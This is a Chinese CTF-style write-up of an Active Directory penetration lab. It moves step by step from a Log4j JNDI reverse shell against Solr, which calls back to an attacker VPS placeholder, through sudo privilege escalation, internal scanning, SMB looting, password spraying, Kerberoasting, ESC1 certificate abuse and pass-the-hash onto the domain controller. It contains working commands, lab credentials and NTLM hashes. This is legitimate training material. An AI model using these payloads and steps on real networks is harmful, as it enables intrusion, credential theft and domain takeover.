Certify是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。
前置知识:
内网渗透学习(代理篇)
linux提权笔记
域渗透学习(Credentials篇)
域渗透学习(Kerberos篇)
域渗透学习(Certificate Services篇)
域渗透学习(NTLM篇)
入口(172.22.9.19)
fscan

入口是一个 solr 8.11.0 服务,但是获取不到 core 名称
1 2 3 4 5 6 7 8 9 10
|
{ "responseHeader":{ "status":0, "QTime":32}, "initFailures":{}, "status":{} }
|
但是在依赖中可以发现有 log4j
1
| -Dlog4j.configurationFile=/var/solr/log4j2.xml
|
vps上启一个服务
1
| java -jar JNDIExploit-1.3-SNAPSHOT.jar -i VPS_IP
|
反弹shell
1
| /solr/admin/collections?action=${jndi:ldap://VPS_IP:1389/Basic/ReverseShell/VPS_IP/6666}
|

低权限账户,sudo -l发现一个可利用的命令

gtfobins 查找用法

第一个flag

内网
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| solr@ubuntu:/tmp/z$ ip a ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000 link/ether 00:16:3e:16:de:72 brd ff:ff:ff:ff:ff:ff inet 172.22.9.19/16 brd 172.22.255.255 scope global dynamic eth0 valid_lft 1892157989sec preferred_lft 1892157989sec inet6 fe80::216:3eff:fe16:de72/64 scope link valid_lft forever preferred_lft forever
|
wget传入工具
fscan
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| solr@ubuntu:/tmp/z$ sudo grc ./fscan -h 172.22.9.0/24 sudo grc ./fscan -h 172.22.9.0/24
___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.4 start infoscan (icmp) Target 172.22.9.7 is alive (icmp) Target 172.22.9.19 is alive (icmp) Target 172.22.9.26 is alive (icmp) Target 172.22.9.47 is alive [*] Icmp alive hosts len is: 4 172.22.9.47:21 open 172.22.9.19:22 open 172.22.9.7:88 open 172.22.9.26:445 open 172.22.9.47:445 open 172.22.9.7:445 open 172.22.9.47:139 open 172.22.9.26:139 open 172.22.9.7:139 open 172.22.9.26:135 open 172.22.9.7:135 open 172.22.9.47:80 open 172.22.9.19:8983 open 172.22.9.7:80 open 172.22.9.47:22 open 172.22.9.19:80 open [*] alive ports len is: 16 start vulscan [*] NetInfo [*]172.22.9.26 [->]DESKTOP-CBKTVMO [->]172.22.9.26 [*] WebTitle http://172.22.9.19 code:200 len:612 title:Welcome to nginx! [*] WebTitle http://172.22.9.7 code:200 len:703 title:IIS Windows Server [*] WebTitle http://172.22.9.47 code:200 len:10918 title:Apache2 Ubuntu Default Page: It works [*] NetBios 172.22.9.47 fileserver Windows 6.1 [*] NetInfo [*]172.22.9.7 [->]XIAORANG-DC [->]172.22.9.7 [*] NetBios 172.22.9.7 [+] DC:XIAORANG\XIAORANG-DC [*] NetBios 172.22.9.26 DESKTOP-CBKTVMO.xiaorang.lab Windows Server 2016 Datacenter 14393 [*] OsInfo 172.22.9.47 (Windows 6.1) [*] WebTitle http://172.22.9.19:8983 code:302 len:0 title:None 跳转url: http://172.22.9.19:8983/solr/ [+] PocScan http://172.22.9.7 poc-yaml-active-directory-certsrv-detect [*] WebTitle http://172.22.9.19:8983/solr/ code:200 len:16555 title:Solr Admin 已完成 16/16 [*] 扫描结束,耗时: 1m4.529856368s
|
1 2 3 4
| 172.22.9.7 XIAORANG-DC 172.22.9.19 solr 172.22.9.26 DESKTOP-CBKTVMO 172.22.9.47 fileserver
|
建立代理
1
| nohup ./iox proxy -l 6666 &
|
fileserver(172.22.9.47)
根据题目的提示 SMB,加上这个名字 fileserver,加上445 open
尝试用 Impacket 的 smbclient 进行交互

把文件都下载下来,甚至还有一篇关于 AD CS 安全研究 的 pdf
flag2在secret目录中
1 2 3 4 5 6 7 8 9 10 11 12
| ________ _______ ________ _________ ___ ________ ___ ___ |\ ____\|\ ___ \ |\ __ \|\___ ___\\ \|\ _____\\ \ / /| \ \ \___|\ \ __/|\ \ \|\ \|___ \ \_\ \ \ \ \__/\ \ \/ / / \ \ \ \ \ \_|/_\ \ _ _\ \ \ \ \ \ \ \ __\\ \ / / \ \ \____\ \ \_|\ \ \ \\ \| \ \ \ \ \ \ \ \_| \/ / / \ \_______\ \_______\ \__\\ _\ \ \__\ \ \__\ \__\__/ / / \|_______|\|_______|\|__|\|__| \|__| \|__|\|__|\___/ / \|___|/
flag02: flag{7947fe3e-fa9f-4e55-a47e-ce9b1704b7b4}
Yes, you have enumerated smb. But do you know what an SPN is?
|
db中有多个表

有密码字段,缺失了用户名

把用户名和密码提取出来

进行密码喷洒
1
| proxychains4 -q nxc rdp 172.22.9.26 -u user.txt -p pass.txt
|
跑出来两组账号密码
1 2
| xiaorang.lab\zhangjian:i9XDE02pLVf xiaorang.lab\liupeng:fiAzGwEMgTY
|


但是 rdp 都登不上去,结合提示 But do you know what an SPN is?,查找 spn
1
| python GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf
|

得到了 chenchen 和 zhangxia 的密码哈希,hashcat 爆一下
1
| hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt --force
|
得到另外两组账号密码
1 2
| zhangxia:MyPass2@@6 chenchen:@Passw0rd@
|
DESKTOP-CBKTVMO(172.22.9.26)
这两个账号可以登录上 172.22.9.26,但是没有权限查看flag
结合标题和fileserver里的pdf,使用 certipy 查找证书服务
1
| proxychains4 certipy-ad find -u zhangxia@xiaorang.lab -p MyPass2@@6 -dc-ip 172.22.9.7 -vulnerable -stdout
|
存在 ESC1 证书模板配置问题

伪造身份申请证书,并请求 TGT,获取 NTLM Hash
1 2 3
| proxychains4 certipy-ad req -u zhangxia@xiaorang.lab -p MyPass2@@6 -target 172.22.9.7 -ca xiaorang-XIAORANG-DC-CA -template "XR Manager" -upn administrator@xiaorang.lab
proxychains4 certipy-ad auth -pfx administrator.pfx -dc-ip 172.22.9.7
|

获取到 hash
1
| [*] Got hash for 'administrator@xiaorang.lab': aad3b435b51404eeaad3b435b51404ee:2f1b57eefb2d152196836b0516abea80
|
pth 即可
1
| proxychains4 impacket-smbexec xiaorang.lab/administrator@172.22.9.26 -hashes :2f1b57eefb2d152196836b0516abea80
|

XIAORANG-DC(172.22.9.7)
dc 也是一样 pth
1
| proxychains4 impacket-smbexec xiaorang.lab/administrator@172.22.9.7 -hashes :2f1b57eefb2d152196836b0516abea80
|
